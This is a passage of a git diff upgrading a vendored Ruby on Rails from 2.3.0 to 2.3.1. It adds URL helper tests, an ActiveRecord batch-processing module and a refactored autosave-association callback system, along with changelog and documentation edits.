current_page?("http://www.example.com/weblog/show?order=desc&page=1") + end + def test_link_unless_current @controller.request = RequestMock.new("http://www.example.com/weblog/show") @controller.url = "http://www.example.com/weblog/show" @@ -263,11 +284,23 @@ class UrlHelperTest < ActionView::TestCase assert_equal "Showing", link_to_unless_current("Showing", { :action => "show", :controller => "weblog" }) assert_equal "Showing", link_to_unless_current("Showing", "http://www.example.com/weblog/show") + @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc&page=1") + @controller.url = "http://www.example.com/weblog/show?order=desc&page=1" + assert_equal "Showing", link_to_unless_current("Showing", { :action => "show", :controller => "weblog", :order=>'desc', :page=>'1' }) + assert_equal "Showing", link_to_unless_current("Showing", "http://www.example.com/weblog/show?order=desc&page=1") + assert_equal "Showing", link_to_unless_current("Showing", "http://www.example.com/weblog/show?order=desc&page=1") + @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc") @controller.url = "http://www.example.com/weblog/show?order=asc" assert_equal "Showing", link_to_unless_current("Showing", { :action => "show", :controller => "weblog" }) assert_equal "Showing", link_to_unless_current("Showing", "http://www.example.com/weblog/show?order=asc") + @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc&page=1") + @controller.url = "http://www.example.com/weblog/show?order=desc&page=2" + assert_equal "Showing", link_to_unless_current("Showing", { :action => "show", :controller => "weblog" }) + assert_equal "Showing", link_to_unless_current("Showing", "http://www.example.com/weblog/show?order=desc&page=2") + + @controller.request = RequestMock.new("http://www.example.com/weblog/show") @controller.url = "http://www.example.com/weblog/list" assert_equal "Listing", @@ -319,7 +352,7 @@ class UrlHelperTest < ActionView::TestCase assert_dom_equal "", mail_to("me@domain.com", "My email", :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)") assert_dom_equal "", mail_to("me@domain.com", nil, :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)") end - + def protect_against_forgery? false end diff --git a/vendor/rails/activerecord/CHANGELOG b/vendor/rails/activerecord/CHANGELOG index 027533aa..231402c5 100644 --- a/vendor/rails/activerecord/CHANGELOG +++ b/vendor/rails/activerecord/CHANGELOG @@ -1,3 +1,10 @@ +*2.3.1 [RC2] (February 27th, 2009)* + +* Added ActiveRecord::Base.each and ActiveRecord::Base.find_in_batches for batch processing [DHH/Jamis Buck] + +* Added that ActiveRecord::Base.exists? can be called with no arguments #1817 [Scott Taylor] + + *2.3.0 [RC1] (February 1st, 2009)* * Add Support for updating deeply nested models from a single form. #1202 [Eloy Duran] diff --git a/vendor/rails/activerecord/Rakefile b/vendor/rails/activerecord/Rakefile index 1c7e2603..aec9b382 100644 --- a/vendor/rails/activerecord/Rakefile +++ b/vendor/rails/activerecord/Rakefile @@ -30,7 +30,9 @@ desc 'Run mysql, sqlite, and postgresql tests by default' task :default => :test desc 'Run mysql, sqlite, and postgresql tests' -task :test => %w(test_mysql test_sqlite3 test_postgresql) +task :test => defined?(JRUBY_VERSION) ? + %w(test_jdbcmysql test_jdbcsqlite3 test_jdbcpostgresql) : + %w(test_mysql test_sqlite3 test_postgresql) for adapter in %w( mysql postgresql sqlite sqlite3 firebird db2 oracle sybase openbase frontbase jdbcmysql jdbcpostgresql jdbcsqlite3 jdbcderby jdbch2 jdbchsqldb ) Rake::TestTask.new("test_#{adapter}") { |t| @@ -175,7 +177,7 @@ spec = Gem::Specification.new do |s| s.files = s.files + Dir.glob( "#{dir}/**/*" ).delete_if { |item| item.include?( "\.svn" ) } end - s.add_dependency('activesupport', '= 2.3.0' + PKG_BUILD) + s.add_dependency('activesupport', '= 2.3.1' + PKG_BUILD) s.files.delete FIXTURES_ROOT + "/fixture_database.sqlite" s.files.delete FIXTURES_ROOT + "/fixture_database_2.sqlite" diff --git a/vendor/rails/activerecord/lib/active_record.rb b/vendor/rails/activerecord/lib/active_record.rb index fa804f6a..2f8c5c71 100644 --- a/vendor/rails/activerecord/lib/active_record.rb +++ b/vendor/rails/activerecord/lib/active_record.rb @@ -48,6 +48,7 @@ module ActiveRecord autoload :AttributeMethods, 'active_record/attribute_methods' autoload :AutosaveAssociation, 'active_record/autosave_association' autoload :Base, 'active_record/base' + autoload :Batches, 'active_record/batches' autoload :Calculations, 'active_record/calculations' autoload :Callbacks, 'active_record/callbacks' autoload :Dirty, 'active_record/dirty' diff --git a/vendor/rails/activerecord/lib/active_record/associations.rb b/vendor/rails/activerecord/lib/active_record/associations.rb index 3f2b5d72..6e88c897 100755 --- a/vendor/rails/activerecord/lib/active_record/associations.rb +++ b/vendor/rails/activerecord/lib/active_record/associations.rb @@ -22,7 +22,7 @@ module ActiveRecord through_reflection = reflection.through_reflection source_reflection_names = reflection.source_reflection_names source_associations = reflection.through_reflection.klass.reflect_on_all_associations.collect { |a| a.name.inspect } - super("Could not find the source association(s) #{source_reflection_names.collect(&:inspect).to_sentence :two_words_connector => ' or ', :last_word_connector => ', or '} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => '. Is it one of #{source_associations.to_sentence :two_words_connector => ' or ', :last_word_connector => ', or '}?") + super("Could not find the source association(s) #{source_reflection_names.collect(&:inspect).to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => '. Is it one of #{source_associations.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)}?") end end @@ -133,41 +133,40 @@ module ActiveRecord # | | belongs_to | # generated methods | belongs_to | :polymorphic | has_one # ----------------------------------+------------+--------------+--------- - # #other | X | X | X - # #other=(other) | X | X | X - # #build_other(attributes={}) | X | | X - # #create_other(attributes={}) | X | | X - # #other.create!(attributes={}) | | | X - # #other.nil? | X | X | + # other | X | X | X + # other=(other) | X | X | X + # build_other(attributes={}) | X | | X + # create_other(attributes={}) | X | | X + # other.create!(attributes={}) | | | X # # ===Collection associations (one-to-many / many-to-many) # | | | has_many # generated methods | habtm | has_many | :through # ----------------------------------+-------+----------+---------- - # #others | X | X | X - # #others=(other,other,...) | X | X | X - # #other_ids | X | X | X - # #other_ids=(id,id,...) | X | X | X - # #others<< | X | X | X - # #others.push | X | X | X - # #others.concat | X | X | X - # #others.build(attributes={}) | X | X | X - # #others.create(attributes={}) | X | X | X - # #others.create!(attributes={}) | X | X | X - # #others.size | X | X | X - # #others.length | X | X | X - # #others.count | X | X | X - # #others.sum(args*,&block) | X | X | X - # #others.empty? | X | X | X - # #others.clear | X | X | X - # #others.delete(other,other,...) | X | X | X - # #others.delete_all | X | X | - # #others.destroy_all | X | X | X - # #others.find(*args) | X | X | X - # #others.find_first | X | | - # #others.exists? | X | X | X - # #others.uniq | X | X | X - # #others.reset | X | X | X + # others | X | X | X + # others=(other,other,...) | X | X | X + # other_ids | X | X | X + # other_ids=(id,id,...) | X | X | X + # others<< | X | X | X + # others.push | X | X | X + # others.concat | X | X | X + # others.build(attributes={}) | X | X | X + # others.create(attributes={}) | X | X | X + # others.create!(attributes={}) | X | X | X + # others.size | X | X | X + # others.length | X | X | X + # others.count | X | X | X + # others.sum(args*,&block) | X | X | X + # others.empty? | X | X | X + # others.clear | X | X | X + # others.delete(other,other,...) | X | X | X + # others.delete_all | X | X | + # others.destroy_all | X | X | X + # others.find(*args) | X | X | X + # others.find_first | X | | + # others.exists? | X | X | X + # others.uniq | X | X | X + # others.reset | X | X | X # # == Cardinality and associations # @@ -787,11 +786,7 @@ module ActiveRecord # 'ORDER BY p.first_name' def has_many(association_id, options = {}, &extension) reflection = create_has_many_reflection(association_id, options, &extension) - configure_dependency_for_has_many(reflection) - - add_multiple_associated_validation_callbacks(reflection.name) unless options[:validate] == false - add_multiple_associated_save_callbacks(reflection.name) add_association_callbacks(reflection.name, reflection.options) if options[:through] @@ -813,8 +808,6 @@ module ActiveRecord # [association=(associate)] # Assigns the associate object, extracts the primary key, sets it as the foreign key, # and saves the associate object. - # [association.nil?] - # Returns +true+ if there is no associated object. # [build_association(attributes = {})] # Returns a new object of the associated type that has been instantiated # with +attributes+ and linked to this object through a foreign key, but has not @@ -833,7 +826,6 @@ module ActiveRecord # An Account class declares has_one :beneficiary, which will add: # * Account#beneficiary (similar to Beneficiary.find(:first, :conditions => "account_id = #{id}")) # * Account#beneficiary=(beneficiary) (similar to beneficiary.account_id = account.id; beneficiary.save) - # * Account#beneficiary.nil? # * Account#build_beneficiary (similar to Beneficiary.new("account_id" => id)) # * Account#create_beneficiary (similar to b = Beneficiary.new("account_id" => id); b.save; b) # @@ -876,10 +868,10 @@ module ActiveRecord # [:source] # Specifies the source association name used by has_one :through queries. Only use it if the name cannot be # inferred from the association. has_one :favorite, :through => :favorites will look for a - # :favorite on Favorite, unless a :source is given. + # :favorite on Favorite, unless a :source is given. # [:source_type] # Specifies type of the source association used by has_one :through queries where the source - # association is a polymorphic +belongs_to+. + # association is a polymorphic +belongs_to+. # [:readonly] # If true, the associated object is readonly through the association. # [:validate] @@ -902,22 +894,9 @@ module ActiveRecord association_accessor_methods(reflection, ActiveRecord::Associations::HasOneThroughAssociation) else reflection = create_has_one_reflection(association_id, options) - - method_name = "has_one_after_save_for_#{reflection.name}".to_sym - define_method(method_name) do - association = association_instance_get(reflection.name) - if association && (new_record? || association.new_record? || association[reflection.primary_key_name] != id) - association[reflection.primary_key_name] = id - association.save(true) - end - end - after_save method_name - - add_single_associated_validation_callbacks(reflection.name) if options[:validate] == true association_accessor_methods(reflection, HasOneAssociation) association_constructor_method(:build, reflection, HasOneAssociation) association_constructor_method(:create, reflection, HasOneAssociation) - configure_dependency_for_has_one(reflection) end end @@ -934,8 +913,6 @@ module ActiveRecord # Returns the associated object. +nil+ is returned if none is found. # [association=(associate)] # Assigns the associate object, extracts the primary key, and sets it as the foreign key. - # [association.nil?] - # Returns +true+ if there is no associated object. # [build_association(attributes = {})] # Returns a new object of the associated type that has been instantiated # with +attributes+ and linked to this object through a foreign key, but has not yet been saved. @@ -953,7 +930,6 @@ module ActiveRecord # * Post#author (similar to Author.find(author_id)) # * Post#author=(author) (similar to post.author_id = author.id) # * Post#author? (similar to post.author == some_author) - # * Post#author.nil? # * Post#build_author (similar to post.author = Author.new) # * Post#create_author (similar to post.author = Author.new; post.author.save; post.author) # The declaration can also include an options hash to specialize the behavior of the association. @@ -1013,40 +989,10 @@ module ActiveRecord if reflection.options[:polymorphic] association_accessor_methods(reflection, BelongsToPolymorphicAssociation) - - method_name = "polymorphic_belongs_to_before_save_for_#{reflection.name}".to_sym - define_method(method_name) do - association = association_instance_get(reflection.name) - if association && association.target - if association.new_record? - association.save(true) - end - - if association.updated? - self[reflection.primary_key_name] = association.id - self[reflection.options[:foreign_type]] = association.class.base_class.name.to_s - end - end - end - before_save method_name else association_accessor_methods(reflection, BelongsToAssociation) association_constructor_method(:build, reflection, BelongsToAssociation) association_constructor_method(:create, reflection, BelongsToAssociation) - - method_name = "belongs_to_before_save_for_#{reflection.name}".to_sym - define_method(method_name) do - if association = association_instance_get(reflection.name) - if association.new_record? - association.save(true) - end - - if association.updated? - self[reflection.primary_key_name] = association.id - end - end - end - before_save method_name end # Create the callbacks to update counter cache @@ -1074,8 +1020,6 @@ module ActiveRecord ) end - add_single_associated_validation_callbacks(reflection.name) if options[:validate] == true - configure_dependency_for_belongs_to(reflection) end @@ -1090,6 +1034,22 @@ module ActiveRecord # but it in fact generates a join table name of "paper_boxes_papers". Be aware of this caveat, and use the # custom :join_table option if you need to. # + # The join table should not have a primary key or a model associated with it. You must manually generate the + # join table with a migration such as this: + # + # class CreateDevelopersProjectsJoinTable < ActiveRecord::Migration + # def self.up + # create_table :developers_projects, :id => false do |t| + # t.integer :developer_id + # t.integer :project_id + # end + # end + # + # def self.down + # drop_table :developers_projects + # end + # end + # # Deprecated: Any additional fields added to the join table will be placed as attributes when pulling records out through # +has_and_belongs_to_many+ associations. Records returned from join tables with additional attributes will be marked as # readonly (because we can't save changes to the additional attributes). It's strongly recommended that you upgrade any @@ -1225,9 +1185,6 @@ module ActiveRecord # 'DELETE FROM developers_projects WHERE active=1 AND developer_id = #{id} AND project_id = #{record.id}' def has_and_belongs_to_many(association_id, options = {}, &extension) reflection = create_has_and_belongs_to_many_reflection(association_id, options, &extension) - - add_multiple_associated_validation_callbacks(reflection.name) unless options[:validate] == false - add_multiple_associated_save_callbacks(reflection.name) collection_accessor_methods(reflection, HasAndBelongsToManyAssociation) # Don't use a before_destroy callback since users' before_destroy @@ -1349,70 +1306,6 @@ module ActiveRecord end end - def add_single_associated_validation_callbacks(association_name) - method_name = "validate_associated_records_for_#{association_name}".to_sym - define_method(method_name) do - if association = association_instance_get(association_name) - errors.add association_name unless association.target.nil? || association.valid? - end - end - - validate method_name - end - - def add_multiple_associated_validation_callbacks(association_name) - method_name = "validate_associated_records_for_#{association_name}".to_sym - define_method(method_name) do - association = association_instance_get(association_name) - - if association - if new_record? - association - elsif association.loaded? - association.select { |record| record.new_record? } - else - association.target.select { |record| record.new_record? } - end.each do |record| - errors.add association_name unless record.valid? - end - end - end - - validate method_name - end - - def add_multiple_associated_save_callbacks(association_name) - method_name = "before_save_associated_records_for_#{association_name}".to_sym - define_method(method_name) do - @new_record_before_save = new_record? - true - end - before_save method_name - - method_name = "after_create_or_update_associated_records_for_#{association_name}".to_sym - define_method(method_name) do - association = association_instance_get(association_name) - - records_to_save = if @new_record_before_save - association - elsif association && association.loaded? - association.select { |record| record.new_record? } - elsif association && !association.loaded? - association.target.select { |record| record.new_record? } - else - [] - end - records_to_save.each { |record| association.send(:insert_record, record) } unless records_to_save.blank? - - # reconstruct the SQL queries now that we know the owner's id - association.send(:construct_sql) if association.respond_to?(:construct_sql) - end - - # Doesn't use after_save as that would save associations added in after_create/after_update twice - after_create method_name - after_update method_name - end - def association_constructor_method(constructor, reflection, association_proxy_class) define_method("#{constructor}_#{reflection.name}") do |*params| attributees = params.first unless params.empty? diff --git a/vendor/rails/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb b/vendor/rails/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb index a5cc3bf0..af9ce3df 100644 --- a/vendor/rails/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb +++ b/vendor/rails/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb @@ -28,12 +28,12 @@ module ActiveRecord load_target.size end - def insert_record(record, force=true) + def insert_record(record, force = true, validate = true) if record.new_record? if force record.save! else - return false unless record.save + return false unless record.save(validate) end end diff --git a/vendor/rails/activerecord/lib/active_record/associations/has_many_association.rb b/vendor/rails/activerecord/lib/active_record/associations/has_many_association.rb index 3348079e..a2cbabfe 100644 --- a/vendor/rails/activerecord/lib/active_record/associations/has_many_association.rb +++ b/vendor/rails/activerecord/lib/active_record/associations/has_many_association.rb @@ -56,9 +56,9 @@ module ActiveRecord "#{@reflection.name}_count" end - def insert_record(record) + def insert_record(record, force = false, validate = true) set_belongs_to_association_for(record) - record.save + force ? record.save! : record.save(validate) end # Deletes the records according to the :dependent option. diff --git a/vendor/rails/activerecord/lib/active_record/associations/has_many_through_association.rb b/vendor/rails/activerecord/lib/active_record/associations/has_many_through_association.rb index 2eeeb28d..d5d188ac 100644 --- a/vendor/rails/activerecord/lib/active_record/associations/has_many_through_association.rb +++ b/vendor/rails/activerecord/lib/active_record/associations/has_many_through_association.rb @@ -47,12 +47,12 @@ module ActiveRecord options[:include] = @reflection.source_reflection.options[:include] if options[:include].nil? end - def insert_record(record, force=true) + def insert_record(record, force = true, validate = true) if record.new_record? if force record.save! else - return false unless record.save + return false unless record.save(validate) end end through_reflection = @reflection.through_reflection diff --git a/vendor/rails/activerecord/lib/active_record/attribute_methods.rb b/vendor/rails/activerecord/lib/active_record/attribute_methods.rb index 177d1568..3ffc4894 100644 --- a/vendor/rails/activerecord/lib/active_record/attribute_methods.rb +++ b/vendor/rails/activerecord/lib/active_record/attribute_methods.rb @@ -324,6 +324,7 @@ module ActiveRecord if Numeric === value || value !~ /[^0-9]/ !value.to_i.zero? else + return false if ActiveRecord::ConnectionAdapters::Column::FALSE_VALUES.include?(value) !value.blank? end elsif column.number? diff --git a/vendor/rails/activerecord/lib/active_record/autosave_association.rb b/vendor/rails/activerecord/lib/active_record/autosave_association.rb index 07660ebd..1c3d0567 100644 --- a/vendor/rails/activerecord/lib/active_record/autosave_association.rb +++ b/vendor/rails/activerecord/lib/active_record/autosave_association.rb @@ -125,67 +125,63 @@ module ActiveRecord # post.author.name = '' # post.save(false) # => true module AutosaveAssociation + ASSOCIATION_TYPES = %w{ has_one belongs_to has_many has_and_belongs_to_many } + def self.included(base) base.class_eval do + base.extend(ClassMethods) alias_method_chain :reload, :autosave_associations - alias_method_chain :save, :autosave_associations - alias_method_chain :valid?, :autosave_associations - %w{ has_one belongs_to has_many has_and_belongs_to_many }.each do |type| + ASSOCIATION_TYPES.each do |type| base.send("valid_keys_for_#{type}_association") << :autosave end end end - # Saves the parent, self, and any loaded autosave associations. - # In addition, it destroys all children that were marked for destruction - # with mark_for_destruction. - # - # This all happens inside a transaction, _if_ the Transactions module is included into - # ActiveRecord::Base after the AutosaveAssociation module, which it does by default. - def save_with_autosave_associations(perform_validation = true) - returning(save_without_autosave_associations(perform_validation)) do |valid| - if valid - self.class.reflect_on_all_autosave_associations.each do |reflection| - if (association = association_instance_get(reflection.name)) && association.loaded? - if association.is_a?(Array) - association.proxy_target.each do |child| - child.marked_for_destruction? ? child.destroy : child.save(perform_validation) - end - else - association.marked_for_destruction? ? association.destroy : association.save(perform_validation) - end - end - end - end - end - end + module ClassMethods + private - # Returns whether or not the parent, self, and any loaded autosave associations are valid. - def valid_with_autosave_associations? - if valid_without_autosave_associations? - self.class.reflect_on_all_autosave_associations.all? do |reflection| - if (association = association_instance_get(reflection.name)) && association.loaded? - if association.is_a?(Array) - association.proxy_target.all? { |child| autosave_association_valid?(reflection, child) } - else - autosave_association_valid?(reflection, association) - end - else - true # association not loaded yet, so it should be valid + # def belongs_to(name, options = {}) + # super + # add_autosave_association_callbacks(reflect_on_association(name)) + # end + ASSOCIATION_TYPES.each do |type| + module_eval %{ + def #{type}(name, options = {}) + super + add_autosave_association_callbacks(reflect_on_association(name)) end - end - else - false # self was not valid + } end - end - # Returns whether or not the association is valid and applies any errors to the parent, self, if it wasn't. - def autosave_association_valid?(reflection, association) - returning(association.valid?) do |valid| - association.errors.each do |attribute, message| - errors.add "#{reflection.name}_#{attribute}", message - end unless valid + # Adds a validate and save callback for the association as specified by + # the +reflection+. + def add_autosave_association_callbacks(reflection) + save_method = "autosave_associated_records_for_#{reflection.name}" + validation_method = "validate_associated_records_for_#{reflection.name}" + validate validation_method + + case reflection.macro + when :has_many, :has_and_belongs_to_many + before_save :before_save_collection_association + + define_method(save_method) { save_collection_association(reflection) } + # Doesn't use after_save as that would save associations added in after_create/after_update twice + after_create save_method + after_update save_method + + define_method(validation_method) { validate_collection_association(reflection) } + else + case reflection.macro + when :has_one + define_method(save_method) { save_has_one_association(reflection) } + after_save save_method + when :belongs_to + define_method(save_method) { save_belongs_to_association(reflection) } + before_save save_method + end + define_method(validation_method) { validate_single_association(reflection) } + end end end @@ -209,5 +205,145 @@ module ActiveRecord def marked_for_destruction? @marked_for_destruction end + + private + + # Returns the record for an association collection that should be validated + # or saved. If +autosave+ is +false+ only new records will be returned, + # unless the parent is/was a new record itself. + def associated_records_to_validate_or_save(association, new_record, autosave) + if new_record + association + elsif association.loaded? + autosave ? association : association.select { |record| record.new_record? } + else + autosave ? association.target : association.target.select { |record| record.new_record? } + end + end + + # Validate the association if :validate or :autosave is + # turned on for the association specified by +reflection+. + def validate_single_association(reflection) + if reflection.options[:validate] == true || reflection.options[:autosave] == true + if (association = association_instance_get(reflection.name)) && !association.target.nil? + association_valid?(reflection, association) + end + end + end + + # Validate the associated records if :validate or + # :autosave is turned on for the association specified by + # +reflection+. + def validate_collection_association(reflection) + if reflection.options[:validate] != false && association = association_instance_get(reflection.name) + if records = associated_records_to_validate_or_save(association, new_record?, reflection.options[:autosave]) + records.each { |record| association_valid?(reflection, record) } + end + end + end + + # Returns whether or not the association is valid and applies any errors to + # the parent, self, if it wasn't. Skips any :autosave + # enabled records if they're marked_for_destruction?. + def association_valid?(reflection, association) + unless valid = association.valid? + if reflection.options[:autosave] + unless association.marked_for_destruction? + association.errors.each do |attribute, message| + attribute = "#{reflection.name}_#{attribute}" + errors.add(attribute, message) unless errors.on(attribute) + end + end + else + errors.add(reflection.name) + end + end + valid + end + + # Is used as a before_save callback to check while saving a collection + # association whether or not the parent was a new record before saving. + def before_save_collection_association + @new_record_before_save = new_record? + true + end + + # Saves any new associated records, or all loaded autosave associations if + # :autosave is enabled on the association. + # + # In addition, it destroys all children that were marked for destruction + # with mark_for_destruction. + # + # This all happens inside a transaction, _if_ the Transactions module is included into + # ActiveRecord::Base after the AutosaveAssociation module, which it does by default. + def save_collection_association(reflection) + if association = association_instance_get(reflection.name) + autosave = reflection.options[:autosave] + + if records = associated_records_to_validate_or_save(association, @new_record_before_save, autosave) + records.each do |record| + if autosave && record.marked_for_destruction? + record.destroy + elsif @new_record_before_save || record.new_record? + if autosave + association.send(:insert_record, record, false, false) + else + association.send(:insert_record, record) + end + elsif autosave + record.save(false) + end + end + end + + # reconstruct the SQL queries now that we know the owner's id + association.send(:construct_sql) if association.respond_to?(:construct_sql) + end + end + + # Saves the associated record if it's new or :autosave is enabled + # on the association. + # + # In addition, it will destroy the association if it was marked for + # destruction with mark_for_destruction. + # + # This all happens inside a transaction, _if_ the Transactions module is included into + # ActiveRecord::Base after the AutosaveAssociation module, which it does by default. + def save_has_one_association(reflection) + if association = association_instance_get(reflection.name) + if reflection.options[:autosave] && association.marked_for_destruction? + association.destroy + elsif new_record? || association.new_record? || association[reflection.primary_key_name] != id || reflection.options[:autosave] + association[reflection.primary_key_name] = id + association.save(false) + end + end + end + + # Saves the associated record if it's new or :autosave is enabled + # on the association. + # + # In addition, it will destroy the association if it was marked for + # destruction with mark_for_destruction. + # + # This all happens inside a transaction, _if_ the Transactions module is included into + # ActiveRecord::Base after the AutosaveAssociation module, which it does by default. + def save_belongs_to_association(reflection) + if association = association_instance_get(reflection.name) + if reflection.options[:autosave] && association.marked_for_destruction? + association.destroy + else + association.save(false) if association.new_record? || reflection.options[:autosave] + + if association.updated? + self[reflection.primary_key_name] = association.id + # TODO: Removing this code doesn't seem to matter… + if reflection.options[:polymorphic] + self[reflection.options[:foreign_type]] = association.class.base_class.name.to_s + end + end + end + end + end end end \ No newline at end of file diff --git a/vendor/rails/activerecord/lib/active_record/base.rb b/vendor/rails/activerecord/lib/active_record/base.rb index f9168c8d..55ab1fac 100755 --- a/vendor/rails/activerecord/lib/active_record/base.rb +++ b/vendor/rails/activerecord/lib/active_record/base.rb @@ -663,7 +663,7 @@ module ActiveRecord #:nodoc: # Returns true if a record exists in the table that matches the +id+ or - # conditions given, or false otherwise. The argument can take four forms: + # conditions given, or false otherwise. The argument can take five forms: # # * Integer - Finds the record with this primary key. # * String - Finds the record with a primary key corresponding to this @@ -672,6 +672,7 @@ module ActiveRecord #:nodoc: # (such as ['color = ?', 'red']). # * Hash - Finds the record that matches these +find+-style conditions # (such as {:color => 'red'}). + # * No args - Returns false if the table is empty, true otherwise. # # For more information about specifying conditions as a Hash or Array, # see the Conditions section in the introduction to ActiveRecord::Base. @@ -685,7 +686,8 @@ module ActiveRecord #:nodoc: # Person.exists?('5') # Person.exists?(:name => "David") # Person.exists?(['name LIKE ?', "%#{query}%"]) - def exists?(id_or_conditions) + # Person.exists? + def exists?(id_or_conditions = {}) connection.select_all( construct_finder_sql( :select => "#{quoted_table_name}.#{primary_key}", @@ -884,7 +886,8 @@ module ActiveRecord #:nodoc: # Deletes the records matching +conditions+ without instantiating the records first, and hence not # calling the +destroy+ method nor invoking callbacks. This is a single SQL DELETE statement that # goes straight to the database, much more efficient than +destroy_all+. Be careful with relations - # though, in particular :dependent rules defined on associations are not honored. + # though, in particular :dependent rules defined on associations are not honored. Returns + # the number of rows affected. # # ==== Parameters # @@ -1990,12 +1993,16 @@ module ActiveRecord #:nodoc: attribute_names.all? { |name| column_methods_hash.include?(name.to_sym) } end - def attribute_condition(argument) + def attribute_condition(quoted_column_name, argument) case argument - when nil then "IS ?" - when Array, ActiveRecord::Associations::AssociationCollection, ActiveRecord::NamedScope::Scope then "IN (?)" - when Range then "BETWEEN ? AND ?" - else "= ?" + when nil then "#{quoted_column_name} IS ?" + when Array, ActiveRecord::Associations::AssociationCollection, ActiveRecord::NamedScope::Scope then "#{quoted_column_name} IN (?)" + when Range then if argument.exclude_end? + "#{quoted_column_name} >= ? AND #{quoted_column_name} < ?" + else + "#{quoted_column_name} BETWEEN ? AND ?" + end + else "#{quoted_column_name} = ?" end end @@ -2305,7 +2312,7 @@ module ActiveRecord #:nodoc: table_name = connection.quote_table_name(table_name) end - "#{table_name}.#{connection.quote_column_name(attr)} #{attribute_condition(value)}" + attribute_condition("#{table_name}.#{connection.quote_column_name(attr)}", value) else sanitize_sql_hash_for_conditions(value, connection.quote_table_name(attr.to_s)) end @@ -3141,7 +3148,7 @@ module ActiveRecord #:nodoc: # #save_with_autosave_associations to be wrapped inside a transaction. include AutosaveAssociation, NestedAttributes - include Aggregations, Transactions, Reflection, Calculations, Serialization + include Aggregations, Transactions, Reflection, Batches, Calculations, Serialization end end diff --git a/vendor/rails/activerecord/lib/active_record/batches.rb b/vendor/rails/activerecord/lib/active_record/batches.rb new file mode 100644 index 00000000..9e9c8fbb --- /dev/null +++ b/vendor/rails/activerecord/lib/active_record/batches.rb @@ -0,0 +1,70 @@ +module ActiveRecord + module Batches # :nodoc: + def self.included(base) + base.extend(ClassMethods) + end + + # When processing large numbers of records, it's often a good idea to do so in batches to prevent memory ballooning. + module ClassMethods + # Yields each record that was found by the find +options+. The find is performed by find_in_batches + # with a batch size of 1000 (or as specified by the +batch_size+ option). + # + # Example: + # + # Person.each(:conditions => "age > 21") do |person| + # person.party_all_night! + # end + # + # Note: This method is only intended to use for batch processing of large amounts of records that wouldn't fit in + # memory all at once. If you just need to loop over less than 1000 records, it's probably better just to use the + # regular find methods. + def each(options = {}) + find_in_batches(options) do |records| + records.each { |record| yield record } + end + + self + end + + # Yields each batch of records that was found by the find +options+ as an array. The size of each batch is + # set by the +batch_size+ option; the default is 1000. + # + # You can control the starting point for the batch processing by supplying the +start+ option. This is especially + # useful if you want multiple workers dealing with the same processing queue. You can make worker 1 handle all the + # records between id 0 and 10,000 and worker 2 handle from 10,000 and beyond (by setting the +start+ option on that + # worker). + # + # It's not possible to set the order. That is automatically set to ascending on the primary key ("id ASC") + # to make the batch ordering work. This also mean that this method only works with integer-based primary keys. + # You can't set the limit either, that's used to control the the batch sizes. + # + # Example: + # + # Person.find_in_batches(:conditions => "age > 21") do |group| + # sleep(50) # Make sure it doesn't get too crowded in there! + # group.each { |person| person.party_all_night! } + # end + def find_in_batches(options = {}) + raise "You can't specify an order, it's forced to be #{batch_order}" if options[:order] + raise "You can't specify a limit, it's forced to be the batch_size" if options[:limit] + + start = options.delete(:start).to_i + + with_scope(:find => options.merge(:order => batch_order, :limit => options.delete(:batch_size) || 1000)) do + records = find(:all, :conditions => [ "#{table_name}.#{primary_key} >= ?", start ]) + + while records.any? + yield records + records = find(:all, :conditions => [ "#{table_name}.#{primary_key} > ?", records.last.id ]) + end + end + end + + + private + def batch_order + "#{table_name}.#{primary_key} ASC" + end + end + end +end \ No newline at end of file diff --git a/vendor/rails/activerecord/lib/active_record/callbacks.rb b/vendor/rails/activerecord/lib/active_record/callbacks.rb index 88958f45..e375037b 100644 --- a/vendor/rails/activerecord/lib/active_record/callbacks.rb +++ b/vendor/rails/activerecord/lib/active_record/callbacks.rb @@ -104,16 +104,12 @@ module ActiveRecord # The callback objects have methods named after the callback called with the record as the only parameter, such as: # # class BankAccount < ActiveRecord::Base - # before_save EncryptionWrapper.new("credit_card_number") - # after_save EncryptionWrapper.new("credit_card_number") - # after_initialize EncryptionWrapper.new("credit_card_number") + # before_save EncryptionWrapper.new + # after_save EncryptionWrapper.new + # after_initialize EncryptionWrapper.new # end # # class EncryptionWrapper - # def initialize(attribute) - # @attribute = attribute - # end - # # def before_save(record) # record.credit_card_number = encrypt(record.credit_card_number) # end @@ -135,7 +131,39 @@ module ActiveRecord # end # # So you specify the object you want messaged on a given callback. When that callback is triggered, the object has - # a method by the name of the callback messaged. + # a method by the name of the callback messaged. You can make these callbacks more flexible by passing in other + # initialization data such as the name of the attribute to work with: + # + # class BankAccount < ActiveRecord::Base + # before_save EncryptionWrapper.new("credit_card_number") + # after_save EncryptionWrapper.new("credit_card_number") + # after_initialize EncryptionWrapper.new("credit_card_number") + # end + # + # class EncryptionWrapper + # def initialize(attribute) + # @attribute = attribute + # end + # + # def before_save(record) + # record.send("#{@attribute}=", encrypt(record.send("#{@attribute}"))) + # end + # + # def after_save(record) + # record.send("#{@attribute}=", decrypt(record.send("#{@attribute}"))) + # end + # + # alias_method :after_find, :after_save + # + # private + # def encrypt(value) + # # Secrecy is committed + # end + # + # def decrypt(value) + # # Secrecy is unveiled + # end + # end # # The callback macros usually accept a symbol for the method they're supposed to run, but you can also pass a "method string", # which will then be evaluated within the binding of the callback. Example: diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb index 901b1712..aac84cc5 100644 --- a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb +++ b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb @@ -351,5 +351,21 @@ module ActiveRecord retrieve_connection_pool klass.superclass end end + + class ConnectionManagement + def 